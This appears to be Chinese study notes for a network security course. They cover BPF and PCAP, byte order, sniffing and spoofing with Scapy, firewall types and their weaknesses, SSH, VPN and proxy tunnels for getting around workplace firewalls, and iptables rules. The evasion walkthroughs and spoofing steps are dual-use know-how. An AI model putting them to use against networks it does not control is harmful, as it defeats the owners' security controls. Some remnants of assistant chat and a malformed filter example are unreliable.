网络攻防原理概览
BPF 是什么?
BSD数据包过滤器
当进行网络嗅探时,嗅探器经常只会对某些特定类型的数据包感兴趣,如TCP数据包或者DNS数据包。 系统可以将所有捕获到的数据包交给嗅探程序,嗅探程序会丢弃它不需要的数据包,但是这种处理方式效率低下,因为 把这些没用的数据包从内核传到嗅探程序是需要花费CPU时间的。
UNIX操作系统定义了BSD数据包过滤器(BSD packet filter, BPF),用于在底层实现数据包的过滤。BPF允许用户 空间的程序将一个过滤器和一个套接字进行绑定,其本质上是为了告知内核尽早丢弃不需要的数据包。 过滤器一般是首先使用布尔操作符编写的可读性较强的代码,随后该代码被编译成伪代码传递给BPF驱动。
字节顺序
字节顺序和处理器架构有关,和几位操作系统无关 x86系列计算机都是小端序
小端字节顺序的计算机先写最低字节,大端是先写最高字节。
名字来由
来自《格列佛游记》,吃鸡蛋先敲大头还是小头。大端字节意味着先从大的字节开始保存。
网络字节序: 为了解决字节顺序不匹配的问题,IANA(Internet Assigned Numbers Authority,互联网 数字分配机构)定义了一种名为网络字节顺序的字节顺序,这就要求计算机在将多个字节数据写入数据包时使用这种字节 顺序,而不是操作系统的字节顺序。这种字节顺序和大端字节顺序是相同的。
字节序宏函数:为了方便网络字节序和本机字节序之间转换,提供了如下宏函数,从而使得代码有可移植性。
宏函数 | 描述 |
---|---|
htons() | 把无符号短整数从本机字节序转网络字节序 |
htonl() | 把无符号整数从本机字节序转网络字节序 |
ntohs() | 把无符号短整数从网络字节序转本机字节序 |
ntohl() | 把无符号整数从网络字节序转本机字节序 |
网卡如何接收数据?
网卡 (NIC) 是连接机器和网络的物理或逻辑设备。每张网卡都有一个独特的 MAC 地址,由 48 位二进制数字组成。网络上的所有网卡都能接收到线路上的所有数据帧。
当一个数据包到达时,网卡会检查它的目标 MAC 地址。如果目标 MAC 地址与该网卡的 MAC 地址相匹配,那么该数据包就会被复制到内核中的一个缓冲区。
如果不匹配,则数据包会被丢弃。 然而,当网卡处于混杂模式时,它会将接收到的所有数据包都传递给内核,这使得网络嗅探成为可能。 在 Wi-Fi 中,混杂模式被称为监控模式。
为了进一步控制哪些数据包会被传递到应用程序,可以使用 BSD 数据包过滤器 (BPF)。 BPF 允许用户程序将过滤器附加到套接字,告诉内核丢弃不需要的数据包。 当内核接收到数据包时,BPF 会被调用,只有通过过滤器的包才会被推送到协议栈上。
PCAP 库 提供了一个更易于使用的 API 来处理原始套接字和数据包过滤。 它允许程序员使用人类可读的布尔表达式指定过滤规则。 数据包嗅探 描述了捕获网络中实时数据的过程。 在使用 PCAP API 进行数据包嗅探时,数据包参数包含数据包的副本,包括以太网报头。 然后可以访问结构的字段,例如 IP 报头。
用户空间、内核空间和网卡
用户空间和内核空间是操作系统的两个独立区域。用户空间是用户应用程序运行的地方,而内核空间是操作系统内核运行的地方,负责管理系统的硬件资源,包括网卡。
网卡 (NIC) 是计算机与网络之间的物理接口,负责发送和接收数据包。网卡工作在内核空间,因为它需要直接访问硬件资源。当网卡接收到一个数据包时,它会将其传递给内核。内核会根据数据包的目标地址和端口号等信息,将其转发给相应的应用程序,该应用程序运行在用户空间。
BPF (BSD Packet Filter) 和 PCAP 库 都可以用来捕获和过滤网络数据包。BPF 允许用户空间程序将过滤器附加到套接字,告诉内核丢弃不需要的数据包。PCAP 库提供了一个更易于使用的 API 来处理原始套接字和数据包过滤。
混杂模式是一种特殊的网卡工作模式,它允许网卡接收所有网络流量,而不仅仅是发给它的数据包。这对于网络嗅探非常有用。 在 Wi-Fi 中,混杂模式被称为监控模式。
数据包伪造是一种网络攻击技术,攻击者可以伪造数据包的源地址、目标地址等信息,以欺骗网络设备或应用程序。
总而言之,网卡是连接用户空间和内核空间的关键组件。网卡工作在内核空间,负责接收和发送数据包。内核会根据数据包的信息,将其转发给相应的应用程序,该应用程序运行在用户空间。BPF 和 PCAP 库可以用来捕获和过滤网络数据包,而混杂模式可以用来接收所有网络流量。数据包伪造是一种网络攻击技术,可以用来欺骗网络设备或应用程序。
数据包嗅探 (sniffing)
数据包嗅探是指捕获网络中实时数据的过程。简而言之,它就像在网络中放置一个“监听器”,监听所有经过的数据包。
为了实现数据包嗅探,需要网卡工作在混杂模式下。在正常模式下,网卡只接收目标 MAC 地址与自身 MAC 地址匹配的数据包。而在混杂模式下,网卡会接收所有经过的数据包,无论目标 MAC 地址是什么。在 Wi-Fi 中,混杂模式被称为监控模式。
捕获数据包后,可以使用 BPF (BSD Packet Filter) 进行过滤。BPF 允许用户程序将过滤器附加到套接字,告诉内核只保留符合特定条件的数据包,例如特定协议、源地址或目标地址的数据包。
PCAP 库 提供了一个更易于使用的 API 来处理原始套接字和数据包过滤。它在内部使用原始套接字,但其 API 在所有平台上都是标准的,并允许程序员使用人类可读的布尔表达式指定过滤规则。
通过分析捕获的数据包,可以获取各种信息,例如:
-
网络流量模式
-
用户行为
-
敏感数据,例如用户名、密码等
因此,数据包嗅探可以用于各种目的,例如:
-
网络监控和故障排除
-
安全审计
-
入侵检测
-
网络攻击
但是,数据包嗅探也可能被用于恶意目的,例如窃取敏感信息。因此,在进行数据包嗅探时,务必遵守相关的法律法规和道德规范。
原始套接字和套接字
原始套接字和普通套接字的区别
普通套接字当内核接收到数据包时,它会通过网络协议栈传递数据包,并最终将数据包的载荷(payload)通过socket传递 给应用程序。 对于原始套接字,内核首先会向socket(和它的应用)传递数据包的一份拷贝,包括链路层头部等信息,然后再进一步将数据 包传递给协议栈。raw socket不会拦截数据包,只是得到了数据包的一份拷贝。
PCAP 库的定义和必要性
PCAP(Packet Capture)库是一个用于捕获和分析网络流量的应用程序编程接口(API)。它提供了一个跨平台的标准接口,用于访问和处理网络数据包。
PCAP 库的必要性源于直接使用原始套接字进行数据包捕获的局限性。虽然原始套接字允许程序直接访问网络层协议,但这种方法存在以下缺陷:
-
程序不可移植: 使用原始套接字编写的程序难以在不同操作系统之间移植。
-
设置过滤器困难: 使用原始套接字设置数据包过滤器较为复杂。
-
缺乏性能优化: 原始套接字编程通常缺乏性能优化,效率较低。
PCAP 库的出现解决了这些问题。它在内部仍然使用原始套接字,但通过提供一个统一的 API,隐藏了不同操作系统之间的差异,使程序更易于移植。同时,PCAP 库提供了使用人类可读的布尔表达式来指定过滤规则的功能,简化了数据包过滤的设置。
此外,PCAP 库还提供了一些性能优化,例如使用BPF (BSD Packet Filter) 进行高效的数据包过滤。
PCAP 库被广泛应用于各种网络工具和应用程序中,例如:
-
网络嗅探器: 用于捕获和分析网络流量,例如 Wireshark 和 tcpdump。
-
入侵检测系统: 用于检测和阻止网络攻击。
-
网络性能分析工具: 用于分析网络流量,识别性能瓶颈。
总而言之,PCAP 库提供了一种强大、灵活且易于使用的方式来捕获和分析网络流量,克服了使用原始套接字方法的局限性。它已成为网络安全和网络管理领域不可或缺的工具。
数据包伪造 (Spoofing)
数据包伪造是指在数据包中的一些关键信息被篡改,例如源地址、目标地址等,以欺骗网络设备或应用程序的行为。许多网络攻击都依赖于数据包伪造,例如 ARP 欺骗、DNS 欺骗等。
数据包伪造的步骤
数据包伪造主要分为两个步骤:
-
构建数据包: 攻击者需要根据目标协议和攻击目的,构建一个包含伪造信息的自定义数据包。例如,如果要伪造 UDP 数据包,则需要构建一个包含 UDP 报头的自定义数据包,并在 UDP 报头中填写伪造的源端口号、目标端口号等信息。
-
发送数据包: 构建好数据包后,攻击者需要使用原始套接字将数据包发送到目标网络设备或应用程序。
使用原始套接字进行数据包伪造
原始套接字是一种特殊的套接字类型,它允许用户程序直接访问网络层协议,例如 IP 协议。 使用原始套接字,攻击者可以构建和发送自定义的 IP 数据包,并在数据包中填写伪造的信息。
由于原始套接字编程比较复杂,因此可以使用 Scapy 等工具来简化数据包的构建和发送过程。 Scapy 是一个基于 Python 的数据包操作库,它可以方便地构建、发送、接收、分析和伪造网络数据包。
数据包伪造的应用
数据包伪造可以用于各种网络攻击,例如:
-
拒绝服务攻击 (DoS): 攻击者可以伪造大量的数据包,并将这些数据包发送到目标服务器,从而导致服务器瘫痪。
-
中间人攻击 (MITM): 攻击者可以伪造数据包,拦截客户端和服务器之间的通信,从而窃取敏感信息或篡改通信内容。
-
ARP 欺骗: 攻击者可以伪造 ARP 数据包,将自己的 MAC 地址与目标 IP 地址绑定,从而拦截目标设备的网络流量。
防范数据包伪造
为了防范数据包伪造攻击,可以采取以下措施:
-
使用防火墙: 防火墙可以根据数据包的源地址、目标地址、端口号等信息,过滤掉可疑的数据包。
-
使用入侵检测系统 (IDS): IDS 可以检测网络中的异常流量,并发出警报。
-
使用安全协议: 例如,使用 HTTPS 协议可以加密通信内容,防止中间人攻击。
-
对网络设备进行安全配置: 例如,配置路由器以防止 ARP 欺骗。
嗅探然后伪造
在许多情况下,我们需要先捕获数据包,然后根据捕获的数据包伪造响应。
使用 UDP 作为例子的步骤
-
使用 PCAP API 捕获感兴趣的数据包。
-
从捕获的数据包中创建一个副本。
-
将 UDP 数据字段替换为新消息,并交换源字段和目标字段。
-
发送伪造的回复。
使用 Scapy 进行数据包嗅探和伪造
Scapy 是一个强大的基于 Python 的数据包操作库,它可以轻松构建、发送、接收、分析和伪造网络数据包。使用 Scapy,您可以执行以下操作:
-
嗅探和捕获特定类型的数据包,例如 UDP 数据包。
-
从捕获的数据包中提取信息,例如源 IP 地址、目标 IP 地址、源端口号和目标端口号。
-
使用提取的信息构建新的数据包,并在其中添加自定义消息或修改现有字段。
-
将伪造的数据包发送到目标设备。
Scapy 与 C 语言在数据包伪造方面的比较
-
Python + Scapy
-
优点:构建数据包非常简单。
-
缺点:比 C 代码慢得多。
-
-
C 程序(使用原始套接字)
-
优点:速度快得多。
-
缺点:构建数据包很复杂。
-
-
混合方法
-
使用 Scapy 构建数据包。
-
使用 C 语言稍微修改数据包,然后发送数据包。
-
字节序
字节序是指多字节数据项在内存中存储的顺序。
-
小端序:将数据的最高有效字节存储在最高地址。
-
大端序:将数据的最高有效字节存储在最低地址。
网络通信中的字节序
-
具有不同字节序的计算机将“误解”彼此。
-
解决方案:就通信的共同顺序达成一致。
-
这被称为“网络字节序”,它与大端序相同。
-
-
所有计算机都需要在“主机字节序”和“网络字节序”之间转换数据。
使用Scapy进行数据包嗅探
Scapy是一个强大的基于Python的数据包操作库,可以轻松构建、发送、接收、分析和伪造网络数据包。
虽然您提供的资料中没有明确说明如何使用Scapy进行数据包嗅探,但基于Scapy的功能和数据包嗅探的步骤,我们可以推测出以下步骤:
-
导入Scapy库: 在Python脚本中导入Scapy库。
-
定义嗅探过滤器: 使用BPF语法或Scapy的过滤函数定义要捕获的数据包类型,例如,只捕获UDP数据包。
-
指定网络接口: 选择要嗅探数据包的网络接口,例如eth0或wlan0。
-
开始嗅探: 使用Scapy的sniff函数开始捕获数据包,并将捕获的数据包存储在列表或其他数据结构中。
-
处理捕获的数据包: 可以使用Scapy的各种函数分析和处理捕获的数据包,例如,提取源IP地址、目标IP地址、端口号等信息。
示例代码:
from scapy.all import *
# 定义过滤器,只捕获UDP数据包
filter_expression = "udp"
# 指定网络接口
interface = "eth0"
# 开始嗅探数据包,并将捕获的数据包存储在packets列表中
packets = sniff(iface=interface, filter=filter_expression)
# 处理捕获的数据包
for packet in packets:
# 打印数据包的摘要信息
print(packet.show())
注意: 这段代码只是一个示例,实际使用时需要根据具体需求进行修改。
Scapy的优势:
-
使用Python编写,语法简单易懂。
-
提供丰富的函数库,可以方便地构建、发送、接收、分析和伪造各种网络数据包。
-
跨平台支持,可以在Windows、Linux和macOS等操作系统上运行。
Scapy的劣势:
-
性能相对较低,不适合处理高速网络流量。
总结:
Scapy是一个功能强大的数据包操作工具,可以用于各种网络安全研究和测试。 使用Scapy进行数据包嗅探可以方便地捕获和分析网络流量,并为进一步的数据包伪造提供基础。
Pcap过滤器实例
dst host 10.0.2.5 只捕获目的ip地址为10.0.2.5的数据包 src host 10.0.2.6 只捕获源ip地址为10.0.2.6的数据包 host 10.0.2.6 and src host port 9090 只捕获源或目的ip地址为10.0.2.6,并且源端口号为9090的数据包 proto tcp 只捕获TCP数据包
路由跟踪traceroute
traceroute是用来检测发出数据包的主机到目标主机之间所经过的网关数量的工具。 traceroute的原理是试图以最小的TTL(存活时间)发出探测包来跟踪数据包到达目标主机所经过的网关, 然后监听一个来自网关ICMP的应答。发送数据包的大小默认为38个字节。
Traceroute程序完整过程
首先它发送一份TTL字段为1的IP数据包给目的主机,处理这个数据包的第一个路由器将TTL值减1, 然后丢弃该数据报,并给源主机发送一个ICMP报文(“超时”信息,这个报文包含了路由器的IP地址,这样就得到了第一个路由器的地址), 然后traceroute发送一个TTL为2的数据报来得到第二个路由器的IP地址,继续这个过程,直至这个数据报到达目的主机。
如何检查你的 CPU 是大端序还是小端序?
字节序是指多字节数据(例如整数)在计算机内存中存储的顺序。 大端序将数据的最高有效字节存储在最低地址,而小端序将数据的最高有效字节存储在最高地址。
为了确定 CPU 使用的是大端序还是小端序,您可以使用联合体和 C 代码。以下代码片段说明了这种方法:
int checkCPU() {
union w {
int a;
char b;
} c;
c.a = 1;
return (c.b == 1);
}
代码解释:
-
联合体: 代码使用一个名为
w
的联合体。联合体是一种特殊的数据类型,允许在相同的内存位置存储不同类型的数据。 在这种情况下,联合体w
包含一个整数a
和一个字符b
。 -
赋值: 代码将整数
1
赋值给联合体成员c.a
。 由于整数通常占用多个字节(例如 4 字节),而字符只占用 1 个字节,因此联合体的所有成员共享相同的内存位置。 -
比较: 代码比较联合体成员
c.b
的值是否等于1
。
结果分析:
-
如果
c.b == 1
,则 CPU 使用小端序。 这是因为在小端序机器中,整数1
的最低有效字节(值为 1)存储在最低地址,而该地址也被字符b
占用。 -
如果
c.b != 1
,则 CPU 使用大端序。 这是因为在大端序机器中,整数1
的最高有效字节(值为 0)存储在最低地址,而该地址也被字符b
占用。
在大端序和小端序中,整数 1
的 16 进制存储形式是不同的。假设 int
类型占用 4 字节(32 位),整数 1
的 16 进制表示是 0x00000001
。
1. 大端序中的 16 进制表示
在 大端序(Big Endian)中,高位字节存储在低地址,低位字节存储在高地址。因此,整数 1
在内存中的存储顺序如下:
地址: [低地址] ---------> [高地址]
内容: 0x00 0x00 0x00 0x01
所以在大端序中,1
的 16 进制表示为:
0x00 0x00 0x00 0x01
2. 小端序中的 16 进制表示
在 小端序(Little Endian)中,低位字节存储在低地址,高位字节存储在高地址。因此,整数 1
在内存中的存储顺序如下:
地址: [低地址] ---------> [高地址]
内容: 0x01 0x00 0x00 0x00
所以在小端序中,1
的 16 进制表示为:
0x01 0x00 0x00 0x00
总结对比
字节序类型 | 内存存储顺序(16 进制表示) |
---|---|
大端序 | 0x00 0x00 0x00 0x01 |
小端序 | 0x01 0x00 0x00 0x00 |
总结:
在网络通信中,字节序是一个重要问题,因为不同字节序的计算机可能会“误解”彼此的数据2。
为了解决这个问题,网络通信协议采用了一种共同的字节序,称为网络字节序,它与大端序相同2。
因此,所有计算机都需要在主机字节序(CPU 使用的字节序)和网络字节序之间转换数据2。
例如,如果一台小端序计算机要向一台大端序计算机发送一个整数,它需要先将整数转换为网络字节序(大端序),然后再发送。 接收方收到数据后,需要将其从网络字节序转换回主机字节序(小端序)。
这样做可以确保所有计算机都能正确地解释数据,无论其 CPU 使用的是哪种字节序。
Problems & Discussions • An integer 0xAABBCCDD is stored in a memory address starting from 0x1000. If the machine is a Big-Endian machine, what is the value stored in addresses 0x1000, 0x1001, 0x1002, and 0x1003, respectively? If the machine is a Little-Endian machine, how is this integer stored?大端序和小端序机器中的整数存储
在大端序机器中,最高有效字节存储在最低地址。 因此,整数 0xAABBCCDD 将按以下方式存储:
-
0x1000: AA
-
0x1001: BB
-
0x1002: CC
-
0x1003: DD
在小端序机器中,最低有效字节存储在最低地址。 因此,整数 0xAABBCCDD 将按以下方式存储:
-
0x1000: DD
-
0x1001: CC
-
0x1002: BB
-
0x1003: AA
在网络通信中,为了避免不同字节序的计算机之间出现“误解”,会使用网络字节序,它与大端序相同。 所有计算机都需要在主机字节序和网络字节序之间转换数据。
网络层安全
什么是IP以及为什么需要IP?
IP协议是TCP/IP协议簇的核心协议,它提供最基本的数据传输服务,是实现网络互联的基础协议。
为什么需要IP?
-
屏蔽底层差异: IP层通过IP地址实现了物理地址的统一,并通过IP数据报实现了物理数据帧的统一,从而屏蔽了底层网络的差异。 这就好比一个通用的翻译器,可以让使用不同语言的人们互相理解。
-
实现网络互联: IP协议是实现不同网络之间互联的基础,使得数据可以在不同类型的网络之间进行传输。
-
不保证可靠性: IP协议本身不保证传输的可靠性,也不对数据进行差错校验和跟踪。当数据报发生 损坏时不向发送方通告。可靠传输由更上层的协议(如TCP)负责。
-
IP协议报文格式与封装: IP协议使用特定的报文格式和封装方式来传输数据。。
总之,IP协议就像网络世界中的“邮政系统”,它负责将数据包从一个地方传递到另一个地方,但它并不保证邮件一定会送达或者邮件的内容是完好无损的。
IP 防火墙技术详
IP 防火墙技术是网络安全的重要组成部分,用于保护网络免受未经授权的访问和攻击。
防火墙的功能:
-
作为计算机系统或网络的一部分,用于阻止未经授权的流量从一个网络流向另一个网络。
-
隔离网络中可信和不可信的组件。
-
区分可信网络内的网络。
-
主要功能是过滤数据、重定向流量和防御网络攻击。
防火墙的要求:
-
所有信任区域之间的流量都必须通过防火墙。
-
只有安全策略定义的授权流量才允许通过。
-
防火墙本身必须不受渗透,这意味着要使用具有安全操作系统的加固系统。
防火墙策略:
-
用户控制:根据尝试访问数据的用户角色控制对数据的访问。 应用于防火墙边界内的用户。
-
服务控制:通过主机提供的服务类型控制访问。 基于网络地址、连接协议和端口号进行应用。
服务控制是指根据访问的“服务类型”来决定是否允许访问。防火墙会依据网络地址(用户所在的网络)、连接协议(如TCP或UDP)以及端口号(表示具体服务)来判断是否允许访问。例如,防火墙可以设置规则,让某些设备只能访问特定端口,阻止其他未授权的连接。这种控制方式有助于限制只能通过安全的服务来访问网络资源,防止未经允许的服务接入。
-
方向控制:确定可以启动请求并允许其流经防火墙的方向。 它指示流量是“入站”(从网络到防火墙)还是反之亦然“出站”。
防火墙操作:
-
接受:允许通过防火墙进入连接的网络/主机。
-
拒绝:不允许进入防火墙的另一侧。
-
丢弃:类似于拒绝,但通过 ICMP 数据包告知源此决定。
-
入站过滤:检查传入流量以保护内部网络并防止来自外部的攻击。
-
出站过滤:检查传出流量并防止内部网络中的用户访问外部网络,例如阻止学校中的社交网站。
防火墙类型:
根据操作模式,防火墙分为三种类型:
-
包过滤防火墙: 仅根据数据包头中的信息控制流量,而不查看包含应用程序数据的有效负载。 不关注数据包是否是现有流或流量的一部分,也不维护有关数据包的状态。 也称为无状态防火墙。
-
特点:
-
基于OSI模型的网络层(第三层)操作。
-
通过检查数据包的源地址、目的地址、端口号、协议等信息来决定是否放行数据包。
-
无法检测应用层的内容,只关注每个数据包的基本信息。
-
配置简单,但提供的安全性较低,容易受到较高级别的攻击(如应用层攻击)。
连接过程举例: 假设一个用户设备向服务器发出一个HTTP请求,数据包过滤器会检查这个请求的数据包是否符合规则,比如源IP和目标IP、源端口和目标端口是否允许通过。如果规则允许,则数据包会被放行;否则数据包会被丢弃。
优缺点:
-
优点:速度快,对性能影响较小,适合低延迟的环境。
-
缺点:安全性较低,无法深入检查数据内容,只能过滤基本信息。
-
-
状态防火墙: 通过监控所有连接交互直到其关闭来跟踪流量状态。 维护连接状态表以了解数据包的上下文。 例如,仅允许通过持有打开连接的端口进行连接。
-
特点:
-
基于OSI模型的网络层和传输层(第四层)操作。
-
记录数据包的“状态”,维护一个“连接状态表”,跟踪每个会话的状态(如建立、传输中、关闭)。
-
在检查数据包的基础信息的同时,还检查会话的上下文,以确保数据包属于一个合法的会话。
-
比数据包过滤器更智能,能防止伪装攻击(如TCP伪造)。
连接过程举例: 当一个用户设备向服务器发起TCP连接请求(如HTTP请求),状态防火墙会首先检查TCP连接的初始握手过程(三次握手),记录这个连接的状态。后续的数据包会匹配这个连接状态,确保都是合法会话的一部分。如果检测到数据包不符合连接状态(如缺少握手过程),则会拒绝连接。
优缺点:
-
优点:能识别并追踪会话,提供更高的安全性,能抵御伪造攻击。
-
缺点:比数据包过滤器略慢,占用更多内存来记录会话状态,适合对安全要求较高的环境。
-
-
应用/代理防火墙: 控制来自/到应用程序或服务的输入、输出和访问。 通过模拟目标接收者充当中间人。 客户端的连接在代理处终止,并从代理到目标主机启动一个单独的连接。 连接上的数据将被分析到应用层,以确定是否应该传递数据包。
-
特点:
-
基于OSI模型的应用层(第七层)操作。
-
深入检查应用层的数据内容,如HTTP请求的URL、电子邮件的内容等。
-
能够识别和控制特定应用(如HTTP、FTP、SMTP等)的流量,并检测和过滤应用层的恶意行为。
-
提供最高级别的安全性,适合防范SQL注入、XSS等应用层攻击。
连接过程举例: 当用户通过浏览器向服务器发出HTTP请求时,应用防火墙不仅会检查数据包的基本信息,还会深入解析HTTP请求,检查URL和请求内容。如果请求内容包含恶意代码(如SQL注入或跨站脚本攻击的代码),应用防火墙会阻止请求进入,保护服务器。
优缺点:
-
优点:安全性最高,能检测应用层的恶意内容,适合保护Web应用。
-
缺点:处理过程复杂,性能消耗较大,可能会影响传输速度。
-
从容易受到攻击的角度来看,不同类型的防火墙因其工作层级和检查深度的差异,对某些攻击的防御能力有所不同。以下是三种防火墙容易受到的攻击类型及原因。
1. 数据包过滤器(Packet Filtering Firewall)
容易受到的攻击:
-
IP 欺骗(IP Spoofing):数据包过滤器只检查源和目标IP地址等基础信息,无法识别IP地址是否被伪造。攻击者可以通过伪造合法IP地址的方式骗过防火墙,使其放行伪造的数据包。
-
分片攻击(Fragmentation Attacks):在一些情况下,数据包可以被分片发送,而数据包过滤器可能会放行这些分片数据包,但无法重组并验证完整数据包是否安全,这让攻击者可能通过特定的分片方式隐藏恶意数据。
-
端口扫描(Port Scanning):数据包过滤器无法检测连接的上下文和状态,攻击者可以通过端口扫描来探测开放的端口,获得网络中活跃设备的服务信息,从而为后续攻击提供线索。
-
应用层攻击(如SQL注入、XSS等):数据包过滤器工作在网络层,对应用层的数据内容不进行检查,因此无法防御SQL注入、跨站脚本(XSS)等高级应用层攻击。
总结:数据包过滤器的防护能力较弱,尤其是针对复杂的应用层攻击和伪造攻击,容易被绕过。
2. 状态防火墙(Stateful Inspection Firewall)
容易受到的攻击:
-
拒绝服务攻击(DoS/DDoS):状态防火墙会追踪连接的状态,并维护一个连接状态表。在拒绝服务攻击中,攻击者可以发送大量伪造的连接请求,消耗防火墙的内存和处理资源,导致连接状态表被填满,从而使合法连接无法进入。
-
中间人攻击(Man-in-the-Middle, MITM):状态防火墙能够追踪会话状态,但并不检查数据包的内容。攻击者可以通过劫持连接会话,在会话中植入恶意数据,状态防火墙可能会认为数据合法并放行,导致数据泄露或被篡改。
-
TCP会话劫持(TCP Session Hijacking):攻击者可以在建立会话后截获TCP会话并伪造数据。状态防火墙会认为这些伪造的数据包属于已有会话,因此可能放行,从而给攻击者提供了会话控制权。
总结:状态防火墙比数据包过滤器更安全,但在面对DDoS攻击、会话劫持等连接层面上的攻击仍有不足。
3. 应用防火墙(Application Firewall)
容易受到的攻击:
-
加密流量攻击:应用防火墙通常依赖于明文数据进行深层检查。如果攻击者通过加密的流量传输恶意代码(如通过HTTPS加密的恶意流量),应用防火墙可能无法检测到内容中的潜在威胁。
-
零日攻击(Zero-Day Attack):应用防火墙依赖于已知的攻击模式或签名进行检测,无法识别从未出现过的新型攻击。攻击者通过未知的漏洞发起零日攻击时,应用防火墙可能无法有效防御。
-
性能耗尽攻击:应用防火墙因为需要深度检查应用层的数据,性能消耗较大,容易受到针对性性能耗尽攻击。例如,通过发送大量复杂的HTTP请求,攻击者可以使应用防火墙过载,从而影响网络性能。
-
恶意重定向和绕过:攻击者可能利用协议漏洞或应用逻辑,伪装成合法流量或利用绕过机制,使应用防火墙难以识别并阻止。例如,某些绕过技术可以让恶意数据伪装成普通请求通过应用防火墙的检查。
总结:应用防火墙在应用层检查上具有更强的防护能力,但面对加密流量、零日攻击和耗尽资源攻击时仍存在不足。
总结对比
防火墙类型 | 容易受到的攻击类型 | 原因 |
---|---|---|
数据包过滤器 | IP欺骗、分片攻击、端口扫描、应用层攻击 | 只检查基本信息,缺乏状态追踪和内容检查 |
状态防火墙 | DDoS攻击、中间人攻击、TCP会话劫持 | 跟踪会话但不检查数据内容,易受伪造攻击 |
应用防火墙 | 加密流量攻击、零日攻击、性能耗尽攻击、恶意绕过 | 深层检查耗资源,对新型及加密攻击无防护 |
不同类型的防火墙适合应对不同的威胁,结合使用多层防护措施可以提升网络整体安全性。
规避防火墙的方法
-
SSH 隧道: SSH 隧道可以在您的计算机和外部服务器之间创建一个加密通道,防火墙无法看到该通道中的流量,因此无法对其进行过滤。您可以使用 SSH 隧道访问被防火墙阻止的网站或服务。
-
示例场景:假设您在公司工作,需要远程登录到名为“work”的机器。但公司的防火墙阻止了所有传入流量,使您无法在家中通过telnet连接到“work”。不过,公司的防火墙允许SSH流量到达其内部机器“apollo”,您在该机器上拥有一个帐户。在这种情况下,您可以利用这台机器来规避防火墙。
-
在“home”和“apollo”之间建立一个SSH隧道。
-
在“home”端,隧道接收来自telnet客户端的TCP数据包。
-
它将TCP数据转发到“apollo”端,然后数据被封装在另一个TCP数据包中,发送到机器“work”。
-
防火墙只能看到“home”和“apollo”之间的流量,而看不到“apollo”和“work”之间的流量,从而实现规避防火墙的目的。
-
-
示例场景:假设您在公司工作,在名为“work”的机器上工作。您想访问Facebook,但公司为了防止员工分心,屏蔽了Facebook。您可以使用外部机器“home”来绕过这样的防火墙。
-
从“work”到“home”建立一个ssh隧道。
-
建立隧道后,您可以在浏览器中输入“localhost:8000”。
-
隧道将通过“home”将您的HTTP请求转发到Facebook。
-
防火墙只能看到“work”和“home”之间的ssh流量,而看不到“work”和“Facebook”之间的实际网络流量,从而实现规避防火墙的目的。
-
-
-
动态端口转发: 动态端口转发是一种 SSH 隧道技术,它可以将您的所有流量转发到外部服务器。这就像使用代理服务器一样,可以隐藏您的真实 IP 地址,从而绕过防火墙的限制。
-
示例场景:使用以下命令在本地主机(端口9000)和机器“home”之间建立一个SSH隧道。这里我们没有指定端口转发的目的地。
ssh -D 9000 user@home
-
将浏览器配置为所有请求都通过
localhost:9000
,将其视为代理。 -
配置好浏览器后,您可以输入任何被阻止网站的URL,它将连接到本地主机端口9000上的ssh代理。
-
ssh会通过隧道将TCP数据发送到机器“home”,然后“home”会与被阻止的网站进行通信。
-
-
使用VPN规避防火墙: 使用VPN可以在网络内部的计算机和外部的计算机之间创建隧道。可以通过此隧道发送IP数据包。由于隧道流量已加密,因此防火墙无法看到此隧道内的内容,也无法进行过滤。
-
请注意,以上信息仅来自您提供的资料。VPN的具体实现和效果可能因供应商和配置而异。
-
-
使用 Web 代理: Web 代理可以作为您和目标服务器之间的中介,隐藏您的真实 IP 地址。防火墙只能看到您和代理服务器之间的流量,而看不到代理服务器和目标服务器之间的流量。一些 Web 代理还可以提供匿名化服务,进一步提高您的隐私和安全性。
-
示例场景: 如果防火墙根据目标地址进行数据包过滤,您可以通过使用 Web 代理浏览 Internet 来规避此防火墙。目标地址将被修改为代理服务器,从而绕过防火墙的数据包过滤规则。
-
匿名代理:您还可以使用代理来隐藏服务器的网络请求来源。由于服务器只能在流量通过代理后才能看到流量,因此源 IP 将是代理的 IP,实际来源将被隐藏。
-
用iptables实现一个防火墙
Linux自带的iptables防火墙也是基于Netfilter的。该防火墙在内核中的部分叫做xtables,而iptables是用户空间用来 设置防火墙的程序。 然而,iptables经常作为内核部分和用户空间部分两者的统称。
iptables防火墙的结构
iptables防火墙不仅可以用来过滤数据包,还可以修改数据包。为了方便管理,iptables使用表和链来管理不同用途的防火墙规则。 iptables主要有5个表:filter、nat、mangle、raw和security。
表的用途
过滤数据包规则放在filter 修改数据包规则放在nat或mangle 只修改源和目的地址的规则放在nat表中,其他放在mangle
每个表中有若干个链,每个链对应一个Netfilter的钩子
iptables修改防火墙规则
实验目标是使所有数据包的生存时间TTL增大5 修改前TCP包TTL是64
修改TTL
修改后ttl时间变成69
-t mangle,修改数据包,用mangle表 -A POSTROUTING,附加到POSTROUTING链上
搭建一个简单的防火墙
实验目的是丢弃除80端口和22端口之外的所有数据包
Note
iptables命令中如果没有用-t选项选择一个具体的表,则默认选择的是filter表
默认规则是接受所有数据包,配置如下:
sudo iptables -P INPUT ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
设置规则前必须要清空所有的链
sudo iptables -F
例如,从INPUT链开始,打开端口号22和80以提供SSH和Web服务,命令如下:
sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT
-A INPUT,把规则加到INPUT链上 -p tcp,该规则只用于TCP数据包 --dport nn,目标端口号
为了让SSH和HTTP服务能发送响应消息给客户端,需要允许对外发送TCP数据包,命令如下:
sudo iptables -A OUTPUT -p tcp -j ACCEPT
-j ACCEPT,接受满足此规则的包
同一个系统中的不同程序间往往也使用数据包来通信,它们利用一个称为loopback的虚拟接口,这个接口把信息导回自己, 应开启这个防火墙规则:
sudo iptables -I INPUT 1 -i lo -j ACCEPT
-I INPUT 1,把规则加到INPUT链的第一个位置上 -i lo, 选择发往loopback接口的数据包
需要允许DNS的查询和回复,DNS使用的是UDP端口53,如果DNS服务不在本机,只需执行:
sudo iptables -A OUTPUT -p udp --dport 53 -j ACCEPT
sudo iptables -A INPUT -p udp --sport 53 -j ACCEPT
由于seed lab虚拟机DNS服务器在本机,故还需执行下面两条命令,否则本地DNS服务器将无法收到DNS查询:
sudo iptables -A OUTPUT -p udp --sport 53 -j ACCEPT
sudo iptables -A INPUT -p udp --dport 53 -j ACCEPT
上述配置执行,并用iptables -L列出设置
